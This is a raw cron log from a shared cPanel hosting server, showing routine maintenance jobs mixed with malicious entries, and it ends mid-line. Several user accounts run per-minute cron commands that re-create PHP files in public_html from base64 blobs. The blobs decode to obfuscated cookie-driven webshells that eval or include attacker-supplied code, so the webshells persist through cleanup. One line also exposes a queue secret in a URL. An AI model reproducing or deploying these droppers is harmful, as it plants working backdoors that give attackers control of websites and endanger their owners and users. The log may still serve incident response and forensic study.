Mar  2 01:50:01 medusa CROND[11548]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:50:01 medusa CROND[11551]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 01:50:01 medusa CROND[11546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:50:01 medusa CROND[11550]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 01:50:01 medusa CROND[11547]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 01:50:01 medusa CROND[11549]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 01:51:01 medusa CROND[17038]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 01:51:01 medusa CROND[17039]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:51:01 medusa CROND[17041]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 01:51:01 medusa CROND[17040]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:51:01 medusa CROND[17042]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 01:51:01 medusa CROND[17043]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:51:01 medusa CROND[17046]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:51:01 medusa CROND[17049]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:51:01 medusa CROND[17048]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:51:01 medusa CROND[17044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:51:01 medusa CROND[17058]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 01:51:01 medusa CROND[17068]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:51:01 medusa CROND[17069]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:51:01 medusa CROND[17071]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:51:01 medusa CROND[17093]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:52:01 medusa CROND[24771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:52:01 medusa CROND[24908]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:52:01 medusa CROND[24910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:52:01 medusa CROND[24911]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:52:01 medusa CROND[24909]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 01:52:01 medusa CROND[24916]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:52:01 medusa CROND[24921]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:52:01 medusa CROND[24926]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:52:01 medusa CROND[24928]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:52:01 medusa CROND[24929]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:52:01 medusa CROND[24930]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:52:01 medusa CROND[24931]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:52:01 medusa CROND[24932]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:53:01 medusa CROND[31343]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:53:01 medusa CROND[31363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:53:01 medusa CROND[31364]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:53:01 medusa CROND[31365]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:53:01 medusa CROND[31366]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 01:53:01 medusa CROND[31367]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSg